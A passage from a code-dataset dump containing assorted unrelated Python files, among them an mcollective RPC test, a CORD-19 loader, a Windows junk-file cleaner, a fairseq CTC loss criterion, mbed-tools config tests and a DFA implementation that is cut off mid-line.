value)\n","sub_path":"opengever/base/tests/test_favorite_action.py","file_name":"test_favorite_action.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"539241345","text":"#!/usr/bin/env python\n\nimport unittest\nimport mcollective\nfrom mcollective import Config, SimpleRPCAction as SimpleRPC\nfrom test_config import TEST_CFG\nimport mock\n\nTEST_CFG = Config(TEST_CFG)\n\nclass TestSimpleRPC(unittest.TestCase):\n\n def test_init(self):\n rpc = SimpleRPC(\n agent='foo',\n action='bar',\n config=TEST_CFG,\n autoconnect=False,\n )\n self.assertEqual(\n 'foo',\n rpc.agent,\n )\n self.assertEqual(\n 'bar',\n rpc.action,\n )\n self.assertEqual(\n TEST_CFG,\n rpc.config,\n )\n self.assertEqual(\n {},\n rpc.params,\n )\n self.assertIsInstance(\n rpc.signer,\n mcollective.Signer\n )\n\n def test_configparse(self):\n rpc = SimpleRPC(\n agent='foo',\n action='bar',\n config=TEST_CFG,\n autoconnect=False,\n )\n self.assertEqual(\n '/topic/mcollectivemcollective.foo.command',\n rpc.stomp_target,\n )\n self.assertEqual(\n '/topic/mcollectivemcollective.foo.reply',\n rpc.stomp_target_reply,\n )\n\n def test_connect_stomp(self):\n with mock.patch('mcollective.Client') as mocked:\n rpc = SimpleRPC(\n agent='foo',\n action='bar',\n config=TEST_CFG,\n )\n mocked.assert_called_with(\n '127.0.0.1',\n 6163,\n )\n rpc.stomp_client.connect.assert_called_with(\n 'user',\n 'pass',\n )\n\n def test_send_message(self):\n with mock.patch('mcollective.Client') as mocked:\n rpc = SimpleRPC(\n agent='foo',\n action='bar',\n config=TEST_CFG,\n )\n rpc.send(ham='eggs')\n put = rpc.stomp_client.put\n put.assert_called()","sub_path":"test_simplerpc.py","file_name":"test_simplerpc.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"21857805","text":"import json\nimport os\nimport pickle\nimport argparse\n\nparser = argparse.ArgumentParser(description='Configuration')\nparser.add_argument('--path', type=str,\n help='File path to COVID-19 dataset',\n default='CORD-19-research-challenge/comm_use_subset')\nparser.add_argument('--batch', type=int, help='Amount of articles in a single pickle file',\n default=2000)\nargs = parser.parse_args()\n\ndef all_json_file_path():\n paths = []\n for (root,dirs,files) in os.walk(args.path):\n for x in files:\n if x.endswith(\".json\"):\n this_path = os.path.join(root, x)\n paths.append(this_path)\n return paths\n\ndef load_this_article(path, articles_dict):\n \"\"\"\n load json file article into the dictionary; titles, authors and text\n the key for each article is its ID\n\n :param path: path to this JSON object, fetched from list\n :param articles_dict: the dict to put the output into\n :return: none\n \"\"\"\n with open(path, 'r') as f:\n article = json.load(f)\n this_article_dict = {}\n body_text = \"\"\n abstract_text =\"\"\n for text in article['body_text']:\n body_text = body_text + text['text']\n try:\n for text in article['abstract']:\n abstract_text = abstract_text + text['text']\n except KeyError:\n pass\n this_article_dict[\"title\"] = article[\"metadata\"][\"title\"]\n this_article_dict[\"text\"] = body_text\n this_article_dict[\"abstract\"] = abstract_text\n this_article_dict[\"authors\"] = article[\"metadata\"][\"authors\"]\n print (this_article_dict)\n print(\"---------------------\")\n\n this_article_id = article[\"paper_id\"]\n articles_dict[this_article_id] = this_article_dict\n\n\ndef generate_output(articles_dict, batch_count):\n file_name = str(batch_count) + \".pkl\"\n with open(file_name, 'wb') as f:\n pickle.dump(articles_dict, f)\n\nif __name__ == \"__main__\":\n file_paths = all_json_file_path()\n count = 1\n this_batch = 1\n articles_dict = {}\n for file in file_paths:\n if count > args.batch:\n generate_output(articles_dict, this_batch)\n count = 1\n this_batch = this_batch + 1\n articles_dict.clear()\n print(\"Current Count:\", count, \" Batch:\", this_batch)\n load_this_article(file, articles_dict)\n else:\n print(\"Current Count:\", count, \" Batch:\", this_batch)\n load_this_article(file, articles_dict)\n # if count == 5:\n # generate_output(articles_dict, this_batch)\n # break\n count = count + 1\n generate_output(articles_dict, this_batch)","sub_path":"data_load.py","file_name":"data_load.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554808060","text":"#!/usr/bin/python3\n# -*- coding:Utf-8 -*-\n\n\"\"\"\nFuck Shitty Windows Files (desktop.ini, *.url, AlbumArt_*_Small, etc…)\n\nRemove all the shitty files in the given directory and all of it's\nsubdirectories.\n\"\"\"\n\nimport os\nimport sys\n\nfrom path import path\n\ndef remove_shit(directory,start=False):\n def in_subdirs(directory,finded):\n if directory.dirs():\n for d in directory.dirs():\n fii = remove_shit(d)\n try:\n finded += fii\n except TypeError:\n pass\n\n return finded\n\n if start:\n print (\"Removing shitty files in {0}…\".format(directory))\n\n print (\"Searching in:\",directory)\n\n finded = 0\n\n shit = []\n\n patterns = [\n \"desktop.ini\",\"*.url\",\"Thumbs.db\",\n \"AlbumArt_{*}_Small.jpg\",\"AlbumArt_{*}_Large.jpg\",\n \"AlbumArtSmall.jpg\"\n ]\n\n for pattern in patterns:\n shit.extend(directory.files(pattern))\n\n if shit:\n # if shit, clean-folder's ass happened\n finded = len(shit)\n\n for f in shit:\n f.remove()\n\n finded = in_subdirs(directory,finded)\n\n return finded\n else:\n finded = in_subdirs(directory,0)\n\n return finded\n\nif __name__ == \"__main__\":\n args = sys.argv\n\n try:\n main_directory = path(args[1])\n except IndexError:\n main_directory = path(os.path.realpath(os.curdir))\n\n if main_directory.isdir():\n removed = remove_shit(main_directory.realpath(),True)\n\n if removed:\n print (\"Shitty Windows files removed:\",removed)\n else:\n print (\"The directory was clean.\")\n else:\n print (\"{0} is not a directory.\".format(main_directory))\n\n sys.exit(0)\n","sub_path":"fdd.py","file_name":"fdd.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"37190860","text":"# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nimport math\n\nimport torch\nimport torch.nn.functional as F\nfrom fairseq import metrics, utils\nfrom fairseq.criterions import FairseqCriterion, register_criterion\nfrom fairseq.criterions.label_smoothed_cross_entropy \\\n import LabelSmoothedCrossEntropyCriterion\n\n\n@register_criterion(\"xent_ctc_loss\")\nclass Xent_CTC_Criterion(LabelSmoothedCrossEntropyCriterion):\n def __init__(\n self,\n task,\n sentence_avg,\n label_smoothing,\n ignore_prefix_size=0,\n report_accuracy=False,\n ctc_weight=0.3,\n zero_infinity=False\n ):\n super().__init__(\n task, sentence_avg, label_smoothing, \n ignore_prefix_size=ignore_prefix_size, \n report_accuracy=report_accuracy\n )\n\n # For CTC \n self.blank_idx = task.target_dictionary.bos()\n self.pad_idx = task.target_dictionary.pad()\n self.eos_idx = task.target_dictionary.eos()\n\n self.ctc_weight = ctc_weight\n self.zero_infinity = zero_infinity\n print('criterion sentence-avg: ', self.sentence_avg)\n print('ctc_weight: ', self.ctc_weight)\n print('zero_infinity: ', self.zero_infinity)\n\n @staticmethod\n def add_args(parser):\n \"\"\"Add criterion-specific arguments to the parser.\"\"\"\n # fmt: off\n parser.add_argument('--label-smoothing', default=0., type=float, metavar='D',\n help='epsilon for label smoothing, 0 means no label smoothing')\n parser.add_argument('--report-accuracy', action='store_true',\n help='report accuracy metric')\n parser.add_argument('--ignore-prefix-size', default=0, type=int,\n help='Ignore first N tokens')\n parser.add_argument('--ctc-weight', default=0.3, type=float,\n help='0.3: => 0.7 for attn loss')\n parser.add_argument('--zero-infinity', default=False, type=bool)\n \n # fmt: on\n\n def forward(self, model, sample, reduce=True):\n \"\"\"Compute the loss for the given sample.\n\n Returns a tuple with three elements:\n 1) the loss\n 2) the sample size, which is used as the denominator for the gradient\n 3) logging outputs to display while training\n \"\"\"\n net_output = model(**sample[\"net_input\"])\n loss, nll_loss = self.compute_loss(model, net_output, sample, reduce=reduce)\n\n ctc_loss = self.compute_ctc_loss(model, net_output, sample, reduce=reduce)\n\n # The gradient is first computed over 'sum' \n # then average in reduce_metrics():\n # fairseq/tasks/fairseq_task.py: compute gradients\n # fairseq/trainer.py: reduce_metrics and grad update\n # Another solution: set reduction='mean' in ctc.\n # Multiply it by sample_size so that its sample_size\n # is cancelled by the /sample_size in reduce_metrics\n sample_size = (\n sample[\"target\"].size(0) if self.sentence_avg else sample[\"ntokens\"]\n )\n\n loss = (1-self.ctc_weight)*loss + self.ctc_weight*ctc_loss\n\n logging_output = {\n \"loss\": loss.data,\n \"nll_loss\": nll_loss.data,\n \"ctc_loss\": ctc_loss.data,\n \"ntokens\": sample[\"ntokens\"],\n \"nsentences\": sample[\"target\"].size(0),\n \"sample_size\": sample_size,\n }\n\n if 'nhit' in sample and 'ntokens_masked' in sample:\n logging_output['nhit'] = sample['nhit'].data\n logging_output['ntokens_masked'] = sample['ntokens_masked'].data\n else:\n logging_output['nhit'] = 0.\n logging_output['ntokens_masked'] = 0.\n\n if self.report_accuracy:\n n_correct, total = self.compute_accuracy(model, net_output, sample)\n logging_output[\"n_correct\"] = utils.item(n_correct.data)\n logging_output[\"total\"] = utils.item(total.data)\n\n return loss, sample_size, logging_output\n\n def compute_ctc_loss(self, model, net_output, sample, reduce=True):\n '''\n lptobs: T x B x C\n targets: B x T'\n '''\n ctc_output = net_output[1]['ctc_output'] #T X B X C\n lprobs = F.log_softmax(ctc_output, dim=-1)\n\n if \"src_lengths\" in sample[\"net_input\"]:\n # 4: the down-sampling factor\n input_lengths = sample[\"net_input\"][\"src_lengths\"]\n input_lengths = torch.floor_divide(input_lengths, 4)\n else:\n ## Assume same length for each source input\n input_lengths = torch.full(\n (ctc_output.size(1),), ctc_output.size(0), dtype=torch.long\n )\n\n pad_mask = (sample[\"target\"] != self.pad_idx) & (\n sample[\"target\"] != self.eos_idx\n )\n target_lengths = pad_mask.sum(-1)\n targets_flat = sample[\"target\"].masked_select(pad_mask)\n\n #with torch.backends.cudnn.flags(enabled=False):\n loss = F.ctc_loss(\n lprobs,\n targets=targets_flat,\n input_lengths=input_lengths,\n target_lengths=target_lengths,\n blank=self.blank_idx,\n reduction=\"sum\",\n zero_infinity=self.zero_infinity,\n )\n #target_lengths=target_lengths,\n\n return loss\n\n @classmethod\n def reduce_metrics(cls, logging_outputs) -> None:\n \"\"\"Aggregate logging outputs from data parallel training.\"\"\"\n loss_sum = sum(log.get(\"loss\", 0) for log in logging_outputs)\n nll_loss_sum = sum(log.get(\"nll_loss\", 0) for log in logging_outputs)\n\n ctc_loss_sum = sum(log.get(\"ctc_loss\", 0) for log in logging_outputs)\n\n ntokens = sum(log.get(\"ntokens\", 0) for log in logging_outputs)\n sample_size = sum(log.get(\"sample_size\", 0) for log in logging_outputs)\n\n if 'nhit' in logging_outputs[0] and \\\n 'ntokens_masked' in logging_outputs[0]:\n nhit = sum(log['nhit'] for log in logging_outputs)\n ntokens_masked = sum(\n log['ntokens_masked'] for log in logging_outputs\n )\n assert nhit <= ntokens_masked\n if ntokens_masked > 0:\n hit_rate = nhit / ntokens_masked\n else:\n hit_rate = -1\n\n #TODO: check how to fill the 3 arguments below\n metrics.log_scalar(\"nhit\", nhit, round=3, weight=0)\n metrics.log_scalar(\"ntokens_masked\", ntokens_masked, round=3, weight=0)\n metrics.log_scalar(\"hit_rate\", hit_rate, round=3, weight=0)\n\n # May have to adjust below for CTC loss as well \n metrics.log_scalar(\n \"loss\", loss_sum / sample_size / math.log(2), sample_size, round=3\n )\n metrics.log_scalar(\n \"nll_loss\", nll_loss_sum / ntokens / math.log(2), ntokens, round=3\n )\n metrics.log_scalar(\n \"ctc_loss\", ctc_loss_sum / ntokens / math.log(2), ntokens, round=3\n )\n metrics.log_derived(\n \"ppl\", lambda meters: utils.get_perplexity(meters[\"nll_loss\"].avg)\n )\n\n total = utils.item(sum(log.get(\"total\", 0) for log in logging_outputs))\n if total > 0:\n metrics.log_scalar(\"total\", total)\n n_correct = utils.item(\n sum(log.get(\"n_correct\", 0) for log in logging_outputs)\n )\n metrics.log_scalar(\"n_correct\", n_correct)\n metrics.log_derived(\n \"accuracy\",\n lambda meters: round(\n meters[\"n_correct\"].sum * 100.0 / meters[\"total\"].sum, 3\n )\n if meters[\"total\"].sum > 0\n else float(\"nan\"),\n )\n\n @staticmethod\n def logging_outputs_can_be_summed() -> bool:\n \"\"\"\n Whether the logging outputs returned by `forward` can be summed\n across workers prior to calling `reduce_metrics`. Setting this\n to True will improves distributed training speed.\n \"\"\"\n return True\n","sub_path":"fairseq/criterions/s2t_xent_ctc_loss.py","file_name":"s2t_xent_ctc_loss.py","file_ext":"py","file_size_in_byte":8164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349584440","text":"# -*- coding: utf-8 -*-\nfrom Contato import Contato\nfrom ContatoDAO import ContatoDAO \n\ndao = ContatoDAO()\n\ndef main():\n sair = False\n while not sair:\n opcao = menu_principal()\n\n if opcao == 1:\n inserir_contato()\n elif opcao == 2:\n buscar_contato()\n elif opcao == 3:\n sair = True\n else: \n print('Erro: opção inválida!')\n print('Fim do programa')\n\ndef menu_principal():\n leia_inteiro = False \n opcao = 0 \n while (not leia_inteiro):\n print('\\nAGENDA TELEFÔNICA')\n print('(1) - Inserir')\n print('(2) - Buscar')\n print('(3) - sair')\n try:\n opcao = int(input('Escolha a opção:'))\n leia_inteiro = True\n except ValueError:\n print('Erro: opção inválida!')\n leia_inteiro = False\n \n return opcao\n\ndef inserir_contato():\n print('\\nINSERÇÃO DE NOVO CONTATO')\n nome = ler_nome()\n telefone = ler_telefone()\n c1 = Contato(nome,telefone)\n if dao.existe(c1):\n print('Este contato já está cadastrado!')\n else:\n dao.inserir(c1)\n print('Contato inserido!')\n\ndef ler_nome():\n nome = ''\n valido = False\n while (not valido):\n nome = input('Nome: ')\n if (len(nome) == 0 or len(nome) > 200):\n print('ERRO: nome de tamanho inválido!')\n else:\n valido = True\n return nome\n\ndef ler_telefone():\n telefone = ''\n valido = False\n while (not valido):\n telefone = input('Telefone: ')\n if (len(telefone) == 0 or len(telefone) > 25):\n print('ERRO: telefone de tamanho inválido!')\n else:\n valido = True\n return telefone\n\ndef buscar_contato():\n print('\\nBUSCA DE CONTATO')\n nome = ler_nome()\n # resultado = []\n # for c in contatos:\n # if nome == c.nome:\n # resultado.append(c)\n resultado = dao.buscar(nome)\n\n if len(resultado) == 0:\n print('Não há contato com este nome!')\n else:\n print('Resultado da Busca')\n for c in resultado:\n print(c)\n\n\nmain()","sub_path":"python/agenda/versao2/Agenda.py","file_name":"Agenda.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"353038625","text":"from django.urls import path\nfrom umauma_happy_app import views\n\n\napp_name = 'umauma_happy_app'\nurlpatterns = [\n path('purchase/', views.index, name='index'),\n path('purchase/', views.purchase, name='purchase'),\n path('purchase_do/', views.purchase_do, name='purchase_do'),\n]\n","sub_path":"umauma_happy_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"304176739","text":"#\n# Copyright (c) 2020-2021 Arm Limited and Contributors. All rights reserved.\n# SPDX-License-Identifier: Apache-2.0\n#\nfrom mbed_tools.build._internal.config import source\nfrom mbed_tools.build._internal.config.source import Override\n\n\nclass TestPrepareSource:\n def test_config_fields_from_target_are_namespaced(self):\n target = {\n \"config\": {\n \"network-default-interface-type\": {\n \"help\": \"Default network \"\n \"interface type. \"\n \"Typical options: null, \"\n \"ETHERNET, WIFI, \"\n \"CELLULAR, MESH\",\n \"value\": \"ETHERNET\",\n }\n }\n }\n\n conf = source.prepare(target, \"target\")\n\n config_setting, *_ = conf[\"config\"]\n assert config_setting.namespace == \"target\"\n assert config_setting.name == \"network-default-interface-type\"\n\n def test_override_fields_from_target_are_namespaced(self):\n target = {\"overrides\": {\"network-default-interface-type\": \"ETHERNET\"}}\n\n conf = source.prepare(target, \"target\")\n\n network_override, *_ = conf[\"overrides\"]\n assert network_override.namespace == \"target\" and network_override.name == \"network-default-interface-type\"\n\n def test_config_fields_from_lib_are_namespaced(self):\n lib = {\n \"name\": \"library\",\n \"config\": {\n \"network-default-interface-type\": {\n \"help\": \"Default network \"\n \"interface type. \"\n \"Typical options: null, \"\n \"ETHERNET, WIFI, \"\n \"CELLULAR, MESH\",\n \"value\": \"ETHERNET\",\n }\n },\n }\n\n conf = source.prepare(lib)\n\n config_setting, *_ = conf[\"config\"]\n assert config_setting.namespace == \"library\"\n assert config_setting.name == \"network-default-interface-type\"\n\n def test_override_fields_from_lib_are_namespaced(self):\n lib = {\n \"name\": \"lib\",\n \"target_overrides\": {\"*\": {\"network-default-interface-type\": \"ETHERNET\", \"target.device_has\": [\"k\"]}},\n }\n\n conf = source.prepare(lib)\n\n network_override, device_has_override = conf[\"overrides\"]\n assert network_override.namespace == \"lib\" and network_override.name == \"network-default-interface-type\"\n assert device_has_override.namespace == \"target\" and device_has_override.name == \"device_has\"\n\n def test_target_overrides_only_collected_for_valid_targets(self):\n lib = {\n \"name\": \"lib\",\n \"target_overrides\": {\n \"*\": {\"target.macros\": [\"j\"]},\n \"VALID_TARGET\": {\"target.device_has\": [\"k\"]},\n \"FILTER_TARGET\": {\"network-default-interface-type\": \"ETHERNET\"},\n },\n }\n expected_macro_override = Override(namespace=\"target\", name=\"macros\", value={\"j\"}, modifier=None)\n expected_device_has_override = Override(namespace=\"target\", name=\"device_has\", value={\"k\"}, modifier=None)\n\n conf = source.prepare(lib, target_filters=[\"VALID_TARGET\"])\n\n macro_override, device_has_override, *others = conf[\"overrides\"]\n assert macro_override == expected_macro_override\n assert device_has_override == expected_device_has_override\n assert others == []\n\n def test_cumulative_fields_parsed(self):\n lib = {\n \"name\": \"lib\",\n \"target_overrides\": {\n \"*\": {\"macros_add\": [\"MAC\"], \"target.device_has_add\": [\"k\"], \"target.device_has_remove\": [\"j\"]}\n },\n }\n expected_device_has_add = Override(namespace=\"target\", name=\"device_has\", modifier=\"add\", value={\"k\"})\n expected_device_has_remove = Override(namespace=\"target\", name=\"device_has\", modifier=\"remove\", value={\"j\"})\n expected_macros_add = Override(namespace=\"lib\", name=\"macros\", modifier=\"add\", value={\"MAC\"})\n\n conf = source.prepare(lib)\n\n macros_add_override, device_has_add_override, device_has_remove_override = conf[\"overrides\"]\n assert device_has_add_override == expected_device_has_add\n assert device_has_remove_override == expected_device_has_remove\n assert macros_add_override == expected_macros_add\n\n def test_converts_config_setting_value_lists_to_sets(self):\n lib = {\n \"name\": \"library\",\n \"config\": {\"list-values\": {\"value\": [\"ETHERNET\", \"WIFI\"]}},\n \"sectors\": [[0, 2048]],\n \"header_info\": [[0, 2048], [\"bobbins\"], [\"magic\"]],\n }\n\n conf = source.prepare(lib)\n\n assert conf[\"config\"][0].value == {\"ETHERNET\", \"WIFI\"}\n assert conf[\"sectors\"] == {0, 2048}\n assert conf[\"header_info\"] == {0, 2048, \"bobbins\", \"magic\"}\n","sub_path":"tests/build/_internal/config/test_source.py","file_name":"test_source.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282323990","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jun 6 23:39:40 2021\r\n\r\n@author: jessm\r\n\r\nThis prints the results of each of the inpainted temporal cube slice analysis \r\nthen averages the results and plots that\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math\r\nimport sys \r\n\r\nfrom astropy.table import QTable, Table, Column\r\nfrom astropy import units as u\r\n\r\n#I am working with numbers 26, 30, 38, 40, and 44\r\ntable26= np.load('table_inpaint_a26.npy')\r\ntable30= np.load('table_inpaint_a30.npy')\r\ntable38= np.load('table_inpaint_a38.npy')\r\ntable40= np.load('table_inpaint_a40.npy')\r\ntable44= np.load('table_inpaint_a44.npy')\r\n#print(table26.shape, \"\\n\", table26)\r\n\r\navgtable=(table26+table30)/2\r\n\r\nnicetable30=np.vstack((np.round(table30, decimals=2)))\r\nname=Table(nicetable30, names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nname.pprint_all()\r\n\r\nnicetable26=np.vstack((np.round(table26, decimals=2)))\r\nname=Table(nicetable26, names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nname.pprint_all()\r\n\r\nnicetable=np.vstack((np.round(table38, decimals=2)))\r\nname=Table(nicetable, names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nname.pprint_all()\r\n\r\nnicetable=np.vstack((np.round(table40, decimals=2)))\r\nname=Table(nicetable, names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nname.pprint_all()\r\n\r\nnicetable=np.vstack((np.round(table44, decimals=2)))\r\nname=Table(nicetable, names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nname.pprint_all()\r\n\r\nbigavg=(table26+table30+table38+table40+table44)/5\r\n\r\ncolumn_len= bigavg.shape[0]\r\n\r\nprint('\\n\\n')\r\n\r\n \r\n\"\"\"plotting the final averages\"\"\"\r\nt = QTable(np.round(bigavg, decimals=2), names=('Pixels', 'Speckles', 'Percent', 'Avg Intensity'))\r\nt.add_column(np.arange(1, 1+column_len), name='Annulus', index=0)\r\n#print(t)\r\nt.pprint(align='^')","sub_path":"Annulus Pipeline/Average Tables.py","file_name":"Average Tables.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"507500067","text":"#!/usr/bin/env python3\n\"\"\"Classes and methods for working with deterministic finite automata.\"\"\"\n\nimport copy\nimport itertools\nimport queue\n\nimport automata.base.exceptions as exceptions\nimport automata.fa.fa as fa\n\n\nclass DFA(fa.FA):\n \"\"\"A deterministic finite automaton.\"\"\"\n\n def __init__(self, *, states, input_symbols, transitions,\n initial_state, final_states):\n \"\"\"Initialize a complete DFA.\"\"\"\n self.states = states.copy()\n self.input_symbols = input_symbols.copy()\n self.transitions = copy.deepcopy(transitions)\n self.initial_state = initial_state\n self.final_states = final_states.copy()\n self.validate()\n\n def _validate_transition_missing_symbols(self, start_state, paths):\n \"\"\"Raise an error if the transition input_symbols are missing.\"\"\"\n for input_symbol in self.input_symbols:\n if input_symbol not in paths:\n raise exceptions.MissingSymbolError(\n 'state {} is missing transitions for symbol {}'.format(\n start_state, input_symbol))\n\n def _validate_transition_invalid_symbols(self, start_state, paths):\n \"\"\"Raise an error if transition input symbols are invalid.\"\"\"\n for input_symbol in paths.keys():\n if input_symbol not in self.input_symbols:\n raise exceptions.InvalidSymbolError(\n 'state {} has invalid transition symbol {}'.format(\n start_state, input_symbol))\n\n def _validate_transition_start_states(self):\n \"\"\"Raise an error if transition start states are missing.\"\"\"\n for state in self.states:\n if state not in self.transitions:\n raise exceptions.MissingStateError(\n 'transition start state {} is missing'.format(\n state))\n\n def _validate_transition_end_states(self, start_state, paths):\n \"\"\"Raise an error if transition end states are invalid.\"\"\"\n for end_state in paths.values():\n if end_state not in self.states:\n raise exceptions.InvalidStateError(\n 'end state {} for transition on {} is not valid'.format(\n end_state, start_state))\n\n def _validate_transitions(self, start_state, paths):\n \"\"\"Raise an error if transitions are missing or invalid.\"\"\"\n self._validate_transition_missing_symbols(start_state, paths)\n self._validate_transition_invalid_symbols(start_state, paths)\n self._validate_transition_end_states(start_state, paths)\n\n def validate(self):\n \"\"\"Return True if this DFA is internally consistent.\"\"\"\n self._validate_transition_start_states()\n for start_state, paths in self.transitions.items():\n self._validate_transitions(start_state, paths)\n self._validate_initial_state()\n self._validate_final_states()\n return True\n\n def _get_next_current_state(self, current_state, input_symbol):\n \"\"\"\n Follow the transition for the given input symbol on the current state.\n\n Raise an error if the transition does not exist.\n \"\"\"\n if input_symbol in self.transitions[current_state]:\n return self.transitions[current_state][input_symbol]\n else:\n raise exceptions.RejectionException(\n '{} is not a valid input symbol'.format(input_symbol))\n\n def _check_for_input_rejection(self, current_state):\n \"\"\"Raise an error if the given config indicates rejected input.\"\"\"\n if current_state not in self.final_states:\n raise exceptions.RejectionException(\n 'the DFA stopped on a non-final state ({})'.format(\n current_state))\n\n def read_input_stepwise(self, input_str):\n \"\"\"\n Check if the given string is accepted by this DFA.\n\n Yield the current configuration of the DFA at each step.\n \"\"\"\n current_state = self.initial_state\n\n yield current_state\n for input_symbol in input_str:\n current_state = self._get_next_current_state(\n current_state, input_symbol)\n yield current_state\n\n self._check_for_input_rejection(current_state)\n\n def minify(self):\n \"\"\"\n Create a minimal DFA which accepts the same inputs as this DFA.\n\n First, non-reachable states are removed.\n Then, similiar states are merged.\n \"\"\"\n new_dfa = self.copy()\n new_dfa._remove_unreachable_states()\n states_table = new_dfa._create_markable_states_table()\n new_dfa._mark_states_table_first(states_table)\n new_dfa._mark_states_table_second(states_table)\n new_dfa._join_non_marked_states(states_table)\n return new_dfa\n\n def _remove_unreachable_states(self):\n \"\"\"Remove states which are not reachable from the initial state.\"\"\"\n reachable_states = self._compute_reachable_states()\n unreachable_states = self.states - reachable_states\n for state in unreachable_states:\n self.states.remove(state)\n del self.transitions[state]\n\n def _compute_reachable_states(self):\n \"\"\"Compute the states which are reachable from the initial state.\"\"\"\n reachable_states = set()\n states_to_check = queue.Queue()\n states_checked = set()\n states_to_check.put(self.initial_state)\n while not states_to_check.empty():\n state = states_to_check.get()\n reachable_states.add(state)\n for symbol, dst_state in self.transitions[state].items():\n if dst_state not in states_checked:\n states_to_check.put(dst_state)\n states_checked.add(state)\n return reachable_states\n\n def _create_markable_states_table(self):\n \"\"\"\n Create a \"markable table\" with all combinatations of two states.\n\n This is a dict with frozensets of states as keys and `False` as value.\n \"\"\"\n table = {\n frozenset(c): False\n for c in itertools.combinations(self.states, 2)\n }\n return table\n\n def _mark_states_table_first(self, table):\n \"\"\"Mark pairs of states if one is final and one is not.\"\"\"\n for s in table.keys():\n if any((x in self.final_states for x in s)):\n if any((x not in self.final_states for x in s)):\n table[s] = True\n\n def _mark_states_table_second(self, table):\n \"\"\"\n Mark additional state pairs.\n\n A non-marked pair of two states q, q_ will be marked\n if there is an input_symbol a for which the pair\n transition(q, a), transition(q_, a) is marked.\n \"\"\"\n changed = True\n while changed:\n changed = False\n for s in filter(lambda s: not table[s], table.keys()):\n s_ = tuple(s)\n for a in self.input_symbols:\n s2 = frozenset({\n self._get_next_current_state(s_[0], a),\n self._get_next_current_state(s_[1], a)\n })\n if s2 in table and table[s2]:\n table[s] = True\n changed = True\n break\n\n def _join_non_marked_states(self, table):\n \"\"\"Join all overlapping non-marked pairs of states to a new state.\"\"\"\n non_marked_states = set(filter(lambda s: not table[s], table.keys()))\n changed = True\n while changed:\n changed = False\n for s, s2 in itertools.combinations(non_marked_states, 2):\n if s2.isdisjoint(s):\n continue\n # merge them!\n s3 = s.union(s2)\n # remove the old ones\n non_marked_states.remove(s)\n non_marked_states.remove(s2)\n # add the new one\n non_marked_states.add(s3)\n # set the changed flag\n changed = True\n break\n # finally adjust the DFA\n for s in non_marked_states:\n stringified = DFA._stringify_states(s)\n # add the new state\n self.states.add(stringified)\n # copy the transitions from one of the states\n self.transitions[stringified] = self.transitions[tuple(s)[0]]\n # replace all occurrences of the old states\n for state in s:\n self.states.remove(state)\n del self.transitions[state]\n for src_state, transition in self.transitions.items():\n for symbol in transition.keys():\n if transition[symbol] == state:\n transition[symbol] = stringified\n if state in self.final_states:\n self.final_states.add(stringified)\n self.final_states.remove(state)\n if state == self.initial_state:\n self.initial_state = stringified\n\n @staticmethod\n def _stringify_states(states):\n \"\"\"Stringify the given set of states as a single state name.\"\"\"\n return '{{{}}}'.format(','.join(sorted(states)))\n\n @classmethod\n def _add_nfa_states_from_queue(cls, nfa, current_states,\n current_state_name, dfa_states,\n dfa_transitions, dfa_final_states):\n \"\"\"Add NFA states to DFA as it is constructed from NFA.\"\"\"\n dfa_states.add(current_state_name)\n dfa_transitions[current_state_name] = {}\n if (current_states & nfa.final_states):\n dfa_final_states.add(current_state_name)\n\n @classmethod\n def _enqueue_next_nfa_current_states(cls, nfa, current_states,\n current_state_name, state_queue,\n dfa_transitions):\n \"\"\"Enqueue the next set of current states for the generated DFA.\"\"\"\n for input_symbol in nfa.input_symbols:\n next_current_states = nfa._get_next_current_states(\n current_states, input_symbol)\n dfa_transitions[current_state_name][input_symbol] = (\n cls._stringify_states(next_current_states))\n state_queue.put(next_current_states)\n\n @classmethod\n def from_nfa(cls, nfa):\n \"\"\"Initialize this DFA as one equivalent to the given NFA.\"\"\"\n dfa_states = set()\n dfa_symbols = nfa.input_symbols\n dfa_transitions = {}\n # equivalent DFA states states\n nfa_initial_states = nfa._get_lambda_closure(nfa.initial_state)\n dfa_initial_state = cls._stringify_states(nfa_initial_states)\n dfa_final_states = set()\n\n state_queue = queue.Queue()\n state_queue.put(nfa_initial_states)\n while not state_queue.empty():\n\n current_states = state_queue.get()\n current_state_name = cls._stringify_states(current_states)\n if current_state_name in dfa_states:\n # We've been here before and nothing should have changed.\n continue\n cls._add_nfa_states_from_queue(nfa, current_states,\n current_state_name, dfa_states,\n dfa_transitions, dfa_final_states)\n cls._enqueue_next_nfa_current_states(\n nfa, current_states, current_state_name, state_queue,\n dfa_transitions)\n\n return cls(\n states=dfa_states, input_symbols=dfa_symbols,\n transitions=dfa_transitions, initial_state=dfa_initial_state,\n 